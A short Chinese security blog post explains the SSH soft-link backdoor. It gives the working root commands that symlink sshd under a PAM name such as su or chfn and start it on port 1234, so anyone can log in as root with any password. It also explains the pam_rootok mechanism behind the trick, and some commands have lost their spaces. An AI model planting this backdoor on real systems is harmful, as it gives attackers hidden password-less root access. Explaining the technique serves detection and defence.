SSH軟連結後門利用和原理

廣州錦行科技發表於2021-08-23


00


利用前提

ssh配置中開啟了PAM進行身份驗證

檢視是否使用PAM進行身份驗證:cat/etc/ssh/sshd_config|grep UsePAM



01


建立後門

建立軟連線後門:ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234

注意:軟連結的路徑不是絕對的,但名字不是隨便命名的,使用命令find/etc/pam.d|xargs grep "pam_rootok",出現的則可以用作軟連結名稱

# find /etc/pam.d |xargs grep "pam_rootok"                           123 
grep: /etc/pam.d: 是一個目錄
/etc/pam.d/su:auth       sufficient pam_rootok.so
/etc/pam.d/su:# permitted earlier by e.g. "sufficient pam_rootok.so").
/etc/pam.d/runuser:auth         sufficient      pam_rootok.so
/etc/pam.d/chsh:auth            sufficient      pam_rootok.so
/etc/pam.d/chfn:auth            sufficient      pam_rootok.so

測試

使用root執行命令
# ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=1234

然後使用ssh任意密碼連線1234埠登入root賬戶



02


原理

pam_rootok.so模組

pam_rootok.so主要作用是使得uid為0的使用者,即root使用者可以直接透過認證而不需要輸入密碼。

我們檢視/etc/pam.d/su 檔案中,我們可以看到使用了該模組,這也是為什麼root使用者切換至普通使用者不需要密碼的原因。

SSH軟連結後門利用和原理

1.PAM認證機制,若sshd服務中開啟了PAM認證機制(預設開啟),當程式執行時,PAM模組則會搜尋PAM相關設定檔案,設定檔案一般是在/etc/pam.d/。若關閉則會驗證密碼,無法建立軟連結後門。


2.當我們透過特定的埠連線ssh後,應用在啟動過程中就會去找到配置檔案,如:我們的軟連結檔案為/tmp/su,那麼應用就會找/etc/pam.d/su作為配置檔案,那麼則實現了無密登入。


相關文章